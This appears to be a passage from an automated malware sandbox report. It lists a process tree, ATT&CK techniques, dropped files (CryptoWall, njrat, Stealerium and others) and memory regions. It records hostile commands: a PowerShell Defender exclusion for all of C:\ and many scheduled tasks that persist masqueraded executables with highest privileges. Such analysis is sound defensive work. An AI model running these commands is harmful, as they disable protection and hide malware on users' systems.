C:\Windows\SysWOW64\Files\prueba.exe"C:\Windows\System32\Files\prueba.exe"3⤵
-
-
C:\Windows\SysWOW64\Files\Brontok.exe"C:\Windows\System32\Files\Brontok.exe"3⤵
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FAB612D5BEE9401B8DC4C3757753DF5C C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8CAB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240684546 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A410970BC79A20A6E038853DF0D626202⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\SystemUpdateCache\UpdateManager.exeC:\Windows\SystemUpdateCache\UpdateManager.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1128 -s 9642⤵
- Program crash
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "upfcu" /sc MINUTE /mo 10 /tr "'C:\Windows\twain_32\upfc.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\Windows\twain_32\upfc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "upfcu" /sc MINUTE /mo 9 /tr "'C:\Windows\twain_32\upfc.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "msiexecm" /sc MINUTE /mo 12 /tr "'C:\Windows\InputMethod\CHT\msiexec.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "msiexec" /sc ONLOGON /tr "'C:\Windows\InputMethod\CHT\msiexec.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "msiexecm" /sc MINUTE /mo 8 /tr "'C:\Windows\InputMethod\CHT\msiexec.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Photo Viewer\en-US\winlogon.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\en-US\winlogon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Photo Viewer\en-US\winlogon.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "._cache_Synaptics." /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\._cache_Synaptics.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "._cache_Synaptics" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\._cache_Synaptics.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "._cache_Synaptics." /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\._cache_Synaptics.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Windows\Help\Windows\ContentStore\en-US\explorer.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\Help\Windows\ContentStore\en-US\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\Windows\Help\Windows\ContentStore\en-US\explorer.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\Help\Windows\ContentStore\en-US\explorer.exe"C:\Windows\Help\Windows\ContentStore\en-US\explorer.exe"1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Fp8c0TPT53.bat"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\chcp.comchcp 650013⤵
-
-
C:\Windows\system32\PING.EXEping -n 10 localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\Help\Windows\ContentStore\en-US\explorer.exe"C:\Windows\Help\Windows\ContentStore\en-US\explorer.exe"3⤵
-
-
-
C:\Windows\InputMethod\CHT\msiexec.exe"C:\Windows\InputMethod\CHT\msiexec.exe"1⤵
-
C:\Windows\twain_32\upfc.exe"C:\Windows\twain_32\upfc.exe"1⤵
-
C:\Program Files (x86)\Windows Photo Viewer\en-US\winlogon.exe"C:\Program Files (x86)\Windows Photo Viewer\en-US\winlogon.exe"1⤵
-
C:\Recovery\WindowsRE\._cache_Synaptics.exe"C:\Recovery\WindowsRE\._cache_Synaptics.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1128 -ip 11281⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService1⤵
-
C:\d6a66238\d6a66238.exeC:\d6a66238\d6a66238.exe1⤵
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\syswow64\explorer.exe"2⤵
-
C:\Windows\SysWOW64\svchost.exe-k netsvcs3⤵
-
-
-
C:\Users\Admin\AppData\Roaming\d6a66238.exeC:\Users\Admin\AppData\Roaming\d6a66238.exe1⤵
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Themes\90D7B00F\UsoClient34ed49.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
Portcrt.exe
S2T1AGYKXgcDSNksLldDNBs6NjAKZe1cJh6wFjebTHbD.bat
agAs.vbe
e590c7a.rbs
Synaptics.exe
scre...exe_25b0fbb6ef7eb094_0019.0002_none_867d819169b5504f.cdf-ms
scre..core_4b14c015c87c1ad8_0019.0002_none_41e6e31d258051c3.cdf-ms
scre..dows_4b14c015c87c1ad8_0019.0002_none_465ebafe61ce64f3.cdf-ms
scre..ient_4b14c015c87c1ad8_0019.0002_none_a32dbc410e6434d0.cdf-ms
scre..ient_4b14c015c87c1ad8_0019.0002_none_d7fc40ef34cfa7c7.cdf-ms
scre..tion_25b0fbb6ef7eb094_0019.0002_none_2771bb27d0341a32.cdf-ms
scre..vice_4b14c015c87c1ad8_0019.0002_none_f33a7b65bb3fb52e.cdf-ms
ScreenConnect.ClientService.exe
3kbtygec.newcfg
ScreenConnect.WindowsClient.exe:Zone.Identifier
app.config
f4nma5pd.newcfg
hrsl5lip.newcfg
pvrek04t.newcfg
user.config
yylqjde0.newcfg
powershell.exe.log
StartupProfileData-NonInteractive
._cache_Synaptics.exe
14phhpvOZT.bat
ScreenConnect.Client.dll
ScreenConnect.Client.dll.genman
ScreenConnect.ClientService.dll
ScreenConnect.ClientService.dll.genman
ScreenConnect.Core.dll.genman
ScreenConnect.Windows.dll.genman
ScreenConnect.WindowsBackstageShell.exe
ScreenConnect.WindowsClient.exe
ScreenConnect.WindowsClient.exe.config
ScreenConnect.WindowsClient.exe.genman
ScreenConnect.WindowsClient.exe.manifest
ScreenConnect.WindowsFileManager.exe
Z573GKGT.E4T.application
E9E85E00
1.exe
444.exe
877901a58750.exe
Client-built.exe
CryptoWall.exe
Loader.exe
RustMeDebyg.exe
Steanings.exe
TrainJX.exe
build.exe
cabalmain.exe
cleanup_tool.exe
file_a6357da6a05d7266.exe
file_a8b257b458693ac9.exe
fscan32.exe
hack.exe
namuvpnx2.exe
rod_en_1.exe
sgn.exe
svchost.exe
xeno.V1.3.55.exe
xmrget.exe
xx.exe
365vpnx2.cmp
365vpnx2.inf
cmstp.exe
LKJfM18H.xlsm
MSI8CAB.tmp
Microsoft.Deployment.WindowsInstaller.dll
ScreenConnect.Core.dll
ScreenConnect.InstallerActions.dll
ScreenConnect.Windows.dll
ScreenConnect.ClientSetup.msi
Stealerium-Latest.log
__PSScriptPolicyTest_vzg1m0xl.sgw.ps1
cleanup_main.log
cleanup_main.log
tftp.exe
1.exe
9z7BGnRGpgs8cZv7.exe
Brontok.exe
IMG001.exe
ScreenConnect.ClientSetup.exe
SshCracker.exe
TempSpoofer.exe
WEBDOWN.EXE
XClient...exe
XClient.exe
ZubovLekciya.exe
adpopup_1382523956.exe
brbotnet.exe
calendar.INI
calendar.INI
calendar.INI
calendar.exe
crypted.exe
file_3be3fa630977796a.exe
file_f309f8496f916deb.exe
gallery-dl.exe
njrat.exe
prueba.exe
pvp.exe
support.client.exe
update.exe
memory/648-317-0x0000000000FE0000-0x0000000000FF0000-memory.dmp
memory/700-604-0x00000000050A0000-0x0000000005116000-memory.dmp
memory/700-626-0x0000000005980000-0x000000000599E000-memory.dmp
memory/700-602-0x0000000000940000-0x0000000000952000-memory.dmp
memory/700-603-0x0000000004FD0000-0x0000000005020000-memory.dmp
memory/836-720-0x0000000000400000-0x0000000000411000-memory.dmp
memory/836-521-0x0000000000400000-0x0000000000411000-memory.dmp
memory/1132-306-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1132-1062-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1132-129-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1132-130-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1132-687-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1132-520-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/1632-449-0x00007FFCB3F30000-0x00007FFCB3F40000-memory.dmp
memory/1632-450-0x00007FFCB3F30000-0x00007FFCB3F40000-memory.dmp
memory/1632-447-0x00007FFCB3F30000-0x00007FFCB3F40000-memory.dmp
memory/1632-455-0x00007FFCB1660000-0x00007FFCB1670000-memory.dmp
memory/1632-454-0x00007FFCB1660000-0x00007FFCB1670000-memory.dmp
memory/1632-451-0x00007FFCB3F30000-0x00007FFCB3F40000-memory.dmp
memory/1632-448-0x00007FFCB3F30000-0x00007FFCB3F40000-memory.dmp
memory/1680-627-0x0000000000400000-0x0000000000446000-memory.dmp
memory/1680-629-0x0000000000400000-0x0000000000446000-memory.dmp
memory/1680-631-0x0000000000400000-0x0000000000446000-memory.dmp
memory/1744-358-0x0000000003080000-0x000000000308A000-memory.dmp
memory/1744-354-0x0000000003090000-0x00000000030BE000-memory.dmp
memory/1744-362-0x00000000054F0000-0x000000000557C000-memory.dmp
memory/1744-366-0x0000000005730000-0x00000000058DC000-memory.dmp
memory/2164-633-0x0000028D7B520000-0x0000028D7B752000-memory.dmp
memory/2164-632-0x0000028D7B520000-0x0000028D7B752000-memory.dmp
memory/2164-612-0x0000028D7AD50000-0x0000028D7AEDE000-memory.dmp
memory/2176-385-0x0000000000900000-0x0000000000C8A000-memory.dmp
memory/2176-400-0x000000001CCD0000-0x000000001CCE2000-memory.dmp
memory/2176-406-0x000000001CCF0000-0x000000001CD00000-memory.dmp
memory/2176-410-0x000000001CD50000-0x000000001CD5E000-memory.dmp
memory/2176-390-0x0000000002DC0000-0x0000000002DE6000-memory.dmp
memory/2176-411-0x000000001CD60000-0x000000001CD70000-memory.dmp
memory/2176-391-0x0000000002C40000-0x0000000002C4E000-memory.dmp
memory/2176-392-0x0000000002DF0000-0x0000000002E0C000-memory.dmp
memory/2176-394-0x000000001CC60000-0x000000001CCB0000-memory.dmp
memory/2176-412-0x000000001CD70000-0x000000001CD7E000-memory.dmp
memory/2176-395-0x0000000002DF0000-0x0000000002E00000-memory.dmp
memory/2176-414-0x000000001CE80000-0x000000001CECE000-memory.dmp
memory/2176-393-0x0000000002C50000-0x0000000002C6C000-memory.dmp
memory/2176-396-0x0000000002E20000-0x0000000002E38000-memory.dmp
memory/2176-397-0x0000000002E00000-0x0000000002E10000-memory.dmp
memory/2176-413-0x000000001CE10000-0x000000001CE28000-memory.dmp
memory/2176-398-0x0000000002E10000-0x0000000002E20000-memory.dmp
memory/2176-409-0x000000001CDB0000-0x000000001CE0A000-memory.dmp
memory/2176-399-0x000000001BA20000-0x000000001BA2E000-memory.dmp
memory/2176-408-0x000000001CD00000-0x000000001CD10000-memory.dmp
memory/2176-459-0x000000001D9B0000-0x000000001DA1B000-memory.dmp
memory/2176-401-0x000000001CCB0000-0x000000001CCC0000-memory.dmp
memory/2176-405-0x000000001CCC0000-0x000000001CCCE000-memory.dmp
memory/2176-402-0x000000001CD10000-0x000000001CD26000-memory.dmp
memory/2176-458-0x000000001D1D0000-0x000000001D279000-memory.dmp
memory/2176-403-0x000000001CD30000-0x000000001CD42000-memory.dmp
memory/2176-404-0x000000001D280000-0x000000001D7A8000-memory.dmp
memory/2188-614-0x0000000000600000-0x000000000124F000-memory.dmp
memory/2188-486-0x0000000000600000-0x000000000124F000-memory.dmp
memory/2188-236-0x0000000000600000-0x000000000124F000-memory.dmp
memory/2188-734-0x0000000000600000-0x000000000124F000-memory.dmp
memory/2188-1163-0x0000000000600000-0x000000000124F000-memory.dmp
memory/2188-374-0x0000000000600000-0x000000000124F000-memory.dmp
memory/2188-407-0x0000000000600000-0x000000000124F000-memory.dmp
memory/2316-763-0x0000000007500000-0x00000000075A3000-memory.dmp
memory/2316-755-0x000000006E620000-0x000000006E66C000-memory.dmp
memory/2316-718-0x0000000006830000-0x000000000687C000-memory.dmp
memory/2316-710-0x0000000005B60000-0x0000000005EB4000-memory.dmp
memory/2316-776-0x00000000077C0000-0x00000000077D1000-memory.dmp
memory/2316-1058-0x0000000007800000-0x0000000007814000-memory.dmp
memory/3324-196-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/3368-719-0x0000020F59910000-0x0000020F59911000-memory.dmp
memory/3696-470-0x0000000007220000-0x00000000072C3000-memory.dmp
memory/3696-445-0x0000000006440000-0x000000000648C000-memory.dmp
memory/3696-501-0x0000000007520000-0x0000000007534000-memory.dmp
memory/3696-487-0x00000000074E0000-0x00000000074F1000-memory.dmp
memory/3696-460-0x000000006E610000-0x000000006E65C000-memory.dmp
memory/4044-278-0x0000000000D20000-0x0000000000D28000-memory.dmp
memory/4460-135-0x0000000005740000-0x00000000057DC000-memory.dmp
memory/4460-133-0x0000000000EB0000-0x0000000000EB8000-memory.dmp
memory/4692-1-0x00000000004A0000-0x00000000004A1000-memory.dmp
memory/4692-0-0x0000000002110000-0x0000000002111000-memory.dmp
memory/4692-128-0x0000000000400000-0x00000000004C5000-memory.dmp
memory/4936-233-0x0000000005960000-0x0000000005968000-memory.dmp
memory/4936-239-0x00000000066F0000-0x0000000006C94000-memory.dmp
memory/4936-235-0x0000000005A30000-0x0000000005ABC000-memory.dmp
memory/4936-234-0x0000000005E50000-0x0000000006142000-memory.dmp
memory/4936-237-0x0000000005AE0000-0x0000000005B02000-memory.dmp
memory/4936-238-0x0000000005B50000-0x0000000005CFC000-memory.dmp
memory/4956-596-0x000000001D3C0000-0x000000001D469000-memory.dmp
memory/4956-597-0x000000001DBA0000-0x000000001DC0B000-memory.dmp
memory/4960-1165-0x000000001D540000-0x000000001D5AB000-memory.dmp
memory/4960-1164-0x000000001DB10000-0x000000001DBB9000-memory.dmp
memory/4960-1439-0x000000001DB10000-0x000000001DBB9000-memory.dmp
memory/4960-1440-0x000000001D540000-0x000000001D5AB000-memory.dmp
memory/4992-301-0x0000000005C90000-0x0000000005FE4000-memory.dmp
memory/4992-330-0x00000000072C0000-0x0000000007363000-memory.dmp
memory/4992-332-0x00000000075F0000-0x000000000760A000-memory.dmp
memory/4992-292-0x0000000005A10000-0x0000000005A76000-memory.dmp
memory/4992-280-0x00000000053E0000-0x0000000005A08000-memory.dmp
memory/4992-303-0x0000000006300000-0x000000000634C000-memory.dmp
memory/4992-302-0x00000000062C0000-0x00000000062DE000-memory.dmp
memory/4992-320-0x0000000007280000-0x00000000072B2000-memory.dmp
memory/4992-329-0x00000000068A0000-0x00000000068BE000-memory.dmp
memory/4992-293-0x0000000005A80000-0x0000000005AE6000-memory.dmp
memory/4992-279-0x0000000002CF0000-0x0000000002D26000-memory.dmp
memory/4992-331-0x0000000007C30000-0x00000000082AA000-memory.dmp
memory/4992-333-0x0000000007660000-0x000000000766A000-memory.dmp
memory/4992-334-0x0000000007870000-0x0000000007906000-memory.dmp
memory/4992-321-0x000000006E090000-0x000000006E0DC000-memory.dmp
memory/4992-291-0x00000000052E0000-0x0000000005302000-memory.dmp
memory/4992-337-0x00000000077F0000-0x0000000007801000-memory.dmp
memory/4992-377-0x0000000007910000-0x0000000007918000-memory.dmp
memory/4992-376-0x0000000007930000-0x000000000794A000-memory.dmp
memory/4992-373-0x0000000007840000-0x0000000007854000-memory.dmp
memory/4992-372-0x0000000007830000-0x000000000783E000-memory.dmp
memory/5132-613-0x0000000000EA0000-0x0000000000F1A000-memory.dmp
memory/5132-624-0x00000000057F0000-0x00000000057F1000-memory.dmp
memory/5132-628-0x00000000057F0000-0x00000000057F1000-memory.dmp
memory/5448-1581-0x0000000000D90000-0x0000000000DA0000-memory.dmp
memory/5604-689-0x0000000140000000-0x0000000140005260-memory.dmp
memory/5636-696-0x0000000000400000-0x00000000005E5000-memory.dmp
memory/5704-1161-0x0000000000D60000-0x0000000000D85000-memory.dmp
memory/5704-1146-0x0000000000D60000-0x0000000000D85000-memory.dmp
memory/5720-1145-0x00007FF69B900000-0x00007FF69B940000-memory.dmp
memory/5720-1144-0x00007FF69B900000-0x00007FF69B940000-memory.dmp
memory/5720-1143-0x00007FF69B900000-0x00007FF69B940000-memory.dmp
memory/5720-1142-0x00007FF69B900000-0x00007FF69B940000-memory.dmp
memory/5720-1141-0x00007FF69B900000-0x00007FF69B940000-memory.dmp
memory/5720-1139-0x000001B473300000-0x000001B473301000-memory.dmp
memory/5744-1060-0x0000022A3F1B0000-0x0000022A3F1D7000-memory.dmp
memory/5744-711-0x00007FF64D4C0000-0x00007FF64D5CC000-memory.dmp
memory/5744-1056-0x0000022A3F110000-0x0000022A3F138000-memory.dmp
memory/5744-769-0x0000022A3F110000-0x0000022A3F138000-memory.dmp
memory/6064-778-0x0000019B3FDC0000-0x0000019B3FF6C000-memory.dmp
memory/6064-584-0x0000019B20F80000-0x0000019B20F88000-memory.dmp
memory/6064-585-0x0000019B3B720000-0x0000019B3B8A6000-memory.dmp
memory/6064-731-0x0000019B3FB00000-0x0000019B3FB98000-memory.dmp
memory/6064-738-0x0000019B3FAF0000-0x0000019B3FB7C000-memory.dmp
memory/6064-745-0x0000019B3FA60000-0x0000019B3FA96000-memory.dmp
memory/6064-752-0x0000019B3DAB0000-0x0000019B3DAC8000-memory.dmp
memory/6228-1147-0x0000000000B80000-0x0000000000BA5000-memory.dmp
memory/6228-1043-0x0000000000B80000-0x0000000000BA5000-memory.dmp
memory/6368-1063-0x0000000000B40000-0x0000000000BD8000-memory.dmp
memory/6368-1086-0x0000000002B50000-0x0000000002B68000-memory.dmp
memory/6476-1499-0x00007FF64D4C0000-0x00007FF64D5CC000-memory.dmp
memory/6784-1111-0x0000000000A30000-0x0000000000A55000-memory.dmp
memory/6784-1421-0x0000000000A30000-0x0000000000A55000-memory.dmp
memory/6820-1115-0x0000000000ED0000-0x0000000000EF5000-memory.dmp
memory/6832-1488-0x00007FF77CD40000-0x00007FF77CD7A000-memory.dmp
memory/6832-1487-0x00007FF77CD40000-0x00007FF77CD7A000-memory.dmp
memory/6832-1491-0x00007FF77CD40000-0x00007FF77CD7A000-memory.dmp
memory/6956-1507-0x0000000007C00000-0x0000000007C18000-memory.dmp
memory/6956-1495-0x00000000046E0000-0x00000000046F7000-memory.dmp
memory/6976-1126-0x0000000000400000-0x000000000051D000-memory.dmp
memory/6976-1177-0x0000000000400000-0x000000000051D000-memory.dmp
memory/6992-1612-0x0000000000440000-0x0000000000466000-memory.dmp
memory/6992-1613-0x0000000000440000-0x0000000000466000-memory.dmp
memory/6992-1614-0x0000000000440000-0x0000000000466000-memory.dmp
memory/6992-1596-0x0000000000440000-0x0000000000466000-memory.dmp